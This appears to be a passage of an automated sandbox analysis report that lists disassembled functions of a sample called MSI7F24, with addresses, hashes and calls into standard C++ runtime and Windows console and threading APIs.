Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE275B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE277B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: c4a311fdac685bcff1a9e03c5c1a671278bf7d2249cc22ac2bf38b79129ce7ca
Instruction ID: 0723c6688de1265f40cd7b66e4c0184f55c163de8e00276d0e4ac7666ccc1ff3
Opcode Fuzzy Hash: c4a311fdac685bcff1a9e03c5c1a671278bf7d2249cc22ac2bf38b79129ce7ca
Instruction Fuzzy Hash: EA01D235D00259DBCB04EBB5DA557BE7BB5AF84310F640109F9216B391CF34AE018B90

Function 00AE278E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE2795
std::_Lockit::_Lockit.LIBCPMT ref: 00AE279F

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE27F0
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2810

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7ae5b721e38714f56a1a3f5ee6bfd6e7ddcd43027340765d214d5d6629d7dc5e
Instruction ID: b06fcff509ce23d6518e243cdcd04566ad897fa428f0709a5358cbc0bf50b4e4
Opcode Fuzzy Hash: 7ae5b721e38714f56a1a3f5ee6bfd6e7ddcd43027340765d214d5d6629d7dc5e
Instruction Fuzzy Hash: 1001D235D102599BCB04EBA4E915BBE7BB5BF80310F250509F4116B392DF34AE01CB90

Function 00AF39EB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF39F2
std::_Lockit::_Lockit.LIBCPMT ref: 00AF39FC

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AF3A4D
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3A6D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 5256cc3feb65fc91ad0d5b4945bcfbd74e4a79e2533cb96d1a3d6120d4b177aa
Instruction ID: 32a46f35811a8632b5ebbbeb1aa14dadd197b20eaea99a980952db0de0c62ca8
Opcode Fuzzy Hash: 5256cc3feb65fc91ad0d5b4945bcfbd74e4a79e2533cb96d1a3d6120d4b177aa
Instruction Fuzzy Hash: C101CC329002199BCF00FBA5DA456BEBBB1AF84350F25410AF9116B391DF35AF018B90

Function 00AE79C9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE79D0
std::_Lockit::_Lockit.LIBCPMT ref: 00AE79DA

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7A2B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7A4B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 8669b98ce730aca87eb02b633e373d85960ca50500d3b36a4490435ea04d3ba9
Instruction ID: 07f7ead2315b75c6bf9c953c6802117f9b89c9d462a28b7a58a09455a523f04e
Opcode Fuzzy Hash: 8669b98ce730aca87eb02b633e373d85960ca50500d3b36a4490435ea04d3ba9
Instruction Fuzzy Hash: 9701F536D44299DFCB01EBA4E9456BE7BB1AF80310F250509F5216B391DF34AE01CB90

Function 00AF3A80 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF3A87
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3A91

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AF3AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3B02

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d12e15a5d653a9048aea1f6481b8b1aac903ceebc2f05d6ce476e9a3c8aba4c4
Instruction ID: 919040dd366bea7293256010a74d39b46d8c4127f2147195065edfef494ece1b
Opcode Fuzzy Hash: d12e15a5d653a9048aea1f6481b8b1aac903ceebc2f05d6ce476e9a3c8aba4c4
Instruction Fuzzy Hash: EC01C03690021D9BCF01FBB4D9466BEBBB1AF84350F240509F521AB391DF74AE01CB90

Function 00AE7AF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7AFA
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7B04

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7B55
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7B75

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 61baed6ada8d210ffb33378090dee187cf3c623d04e3b519b27e7ac31237c582
Instruction ID: ef8348bab7eea304885d898270b4364934dd4192263487925a70238d47088cd7
Opcode Fuzzy Hash: 61baed6ada8d210ffb33378090dee187cf3c623d04e3b519b27e7ac31237c582
Instruction Fuzzy Hash: 8001D232D002599BCB00EFA4D945ABE77B1AF80310F654609F512AB391CF74AE01CB90

Function 00AE7A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7A65
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7A6F

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7AC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7AE0

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 26b0f842ab05a9befc7ca2438ab60f6272bee9265040146d74f9d90e02083a22
Instruction ID: 02560173fd240b9697b5f54ee4a0e6478c2b1150befdc7dd5f932063af6c885f
Opcode Fuzzy Hash: 26b0f842ab05a9befc7ca2438ab60f6272bee9265040146d74f9d90e02083a22
Instruction Fuzzy Hash: D301DE32D002599BCB00EBA4DA45ABE7BB1AF84320F25010AF5116B392DF38AE01CBD0

Function 00AE7B88 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7B8F
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7B99

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7BEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7C0A

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 52c3a860b71aded0221ecfc07e309852720a4e6608727547879e64641311cd72
Instruction ID: f7259148e0cdd39e186fa5ed898a2ec5b520439224da28f697c00fa1b91c78cd
Opcode Fuzzy Hash: 52c3a860b71aded0221ecfc07e309852720a4e6608727547879e64641311cd72
Instruction Fuzzy Hash: E401D2329002598BCF05EBA4DA066BE77B5AF80320F24450AF4116B392DF34AE41CB90

Function 00AF3CD4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF3CDB
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3CE5

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AF3D36
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3D56

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7d2c9a0c2dd93d3755a7186473b14707eb7b76132c2135b92c0363d7a9810fdb
Instruction ID: 968190fbe22dea53c880375c3a86116ce5038650ca7b7d2a6f60e2fbbf3756ef
Opcode Fuzzy Hash: 7d2c9a0c2dd93d3755a7186473b14707eb7b76132c2135b92c0363d7a9810fdb
Instruction Fuzzy Hash: 6001C0329102199FCF04EBA4E9456BE77A1AF84310F640509F6126B391DF34AE01CB90

Function 00AF3C3F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF3C46
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3C50

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AF3CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3CC1

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: b9818578b0a72d373c6765157071d4c7f3105b05c4c5a9d985c506f27487206b
Instruction ID: 9047221a0f3888f016de37785da66f1f9a8f6bdb834d0653a0fdc7c9890211bb
Opcode Fuzzy Hash: b9818578b0a72d373c6765157071d4c7f3105b05c4c5a9d985c506f27487206b
Instruction Fuzzy Hash: 2C01C03691061D9BCF00EBE4DA056BEB7A1AF84710F244509F9116B391DF74AE068B90

Function 00AE7E71 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7E78
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7E82

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7ED3
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7EF3

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: bdab8e17f4b3aac31ab0eb6451290f681c1d2622a94db1910b81140bae2e04a8
Instruction ID: 59730044c4dd295bcc4a4b078e137a99b741d269652dd6cd34161d68c9155975
Opcode Fuzzy Hash: bdab8e17f4b3aac31ab0eb6451290f681c1d2622a94db1910b81140bae2e04a8
Instruction Fuzzy Hash: 1A01F535D00259DFCF05EBA4EA456BE77B1AF84310F240549F5116B392DF34AE01CB90

Function 00AE7F9B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7FA2
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7FAC

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7FFD
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE801D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 83245d41665443fb0a2613284b70f1efb2b95c5af7584e7c072b5a83f743ef5a
Instruction ID: 9386c8ecc4d4526b05bc9d3d774857d5ef06ada3fbc930a9e52176efd28042ba
Opcode Fuzzy Hash: 83245d41665443fb0a2613284b70f1efb2b95c5af7584e7c072b5a83f743ef5a
Instruction Fuzzy Hash: A501F535D40259DBCB00EFA4DA456BE77B1AF84320F250109F5116B3D2DF34AE01CB91

Function 00AE7F06 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7F0D
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7F17

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE7F68
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7F88

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 5e613a04cc141d2cd8e5048baf72f7bbae01902faf26e765c07f14e457c2fac4
Instruction ID: 4b7ba57b9ef0a01308dbeab42dc89110e1424fd68a88dcf77fea4b916f88bb24
Opcode Fuzzy Hash: 5e613a04cc141d2cd8e5048baf72f7bbae01902faf26e765c07f14e457c2fac4
Instruction Fuzzy Hash: 2901D2329006599BCB04EBB5DA456BE77B1AF80310F244509F4116B3D2DF34AE01CB90

Function 00AE5C66 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE5C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00AE5C78
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE5CE6

Part of subcall function 00AE5DC8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AE5DE0

std::locale::_Setgloballocale.LIBCPMT ref: 00AE5C93

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: dfae05c5f2ed11fd164ec6b7551f60a7b213622854b08c5d9f549d003f53054b
Instruction ID: 695458b1af982db88ecc732bbf32562bf52fa3b66b219f45c424a4701a650765
Opcode Fuzzy Hash: dfae05c5f2ed11fd164ec6b7551f60a7b213622854b08c5d9f549d003f53054b
Instruction Fuzzy Hash: 2601BC75E00A908BCB05EB71E9459BD7BA1BF85700B684009E92157381CF74AA02CBC1

Function 00B18C76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00B18643,?,00000001,?,?,?,00B17788,?,?,00000000), ref: 00B18C8D
GetLastError.KERNEL32(?,00B18643,?,00000001,?,?,?,00B17788,?,?,00000000,?,?,?,00B17D0F,?), ref: 00B18C99

Part of subcall function 00B18C5F: CloseHandle.KERNEL32(FFFFFFFE,00B18CA9,?,00B18643,?,00000001,?,?,?,00B17788,?,?,00000000,?,?), ref: 00B18C6F

___initconout.LIBCMT ref: 00B18CA9

Part of subcall function 00B18C21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B18C50,00B18630,?,?,00B17788,?,?,00000000,?), ref: 00B18C34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00B18643,?,00000001,?,?,?,00B17788,?,?,00000000,?), ref: 00B18CBE

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 61b75ea86dfcb7ae3900dbdff1c11baccdc28c07df6e09d38938e114f6d23f19
Instruction ID: 53ac3dc0ac3ac000f85c3f813befbbd49571753c6c0cca020d3debbbf1f660ce
Opcode Fuzzy Hash: 61b75ea86dfcb7ae3900dbdff1c11baccdc28c07df6e09d38938e114f6d23f19
Instruction Fuzzy Hash: 9AF0F236101159BBCF222F959C08DCE3FA6FF097B0F918450FA1996220DE32D960ABA0

Function 00AF78FD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00AF789A,00000064), ref: 00AF7920
LeaveCriticalSection.KERNEL32(00B34AF8,?,?,00AF789A,00000064,?,?,00AD25B6,00B3571C,6E9B59AC,?,00000000,00B193ED,000000FF,?,00AD1A26), ref: 00AF792A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00AF789A,00000064,?,?,00AD25B6,00B3571C,6E9B59AC,?,00000000,00B193ED,000000FF,?,00AD1A26), ref: 00AF793B
EnterCriticalSection.KERNEL32(00B34AF8,?,00AF789A,00000064,?,?,00AD25B6,00B3571C,6E9B59AC,?,00000000,00B193ED,000000FF,?,00AD1A26), ref: 00AF7942

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: eb01392445f38120a0eedbd218f6f7561d7b6416f6e92113c6cc6f7307b330cb
Instruction ID: f8b0e10845da20a175f8c3c541d8d1c3fa4323b0bc7381af33d82ff764fd2240
Opcode Fuzzy Hash: eb01392445f38120a0eedbd218f6f7561d7b6416f6e92113c6cc6f7307b330cb
Instruction Fuzzy Hash: 68E01232985135B7C7116B90EC09AED7F64EB09751F518055F91567170CFB16C109BD8

Function 00B0709D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B0712D

Strings

pow, xrefs: 00B07105, 00B07122

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: f10d17068928157a6460bfbc0e8d1c54d0bc9dddc55832f19401576581f58884
Instruction ID: 13ec90fa9f4e2ca2009d4f3ec98269cb8e7b6668187b6ff3e449bc1c9bdc0ad2
Opcode Fuzzy Hash: f10d17068928157a6460bfbc0e8d1c54d0bc9dddc55832f19401576581f58884
Instruction Fuzzy Hash: BD514971F4C207A6CB35B718C94137AAFE0EB40700F248DF9F095926E9EE34DC969A42

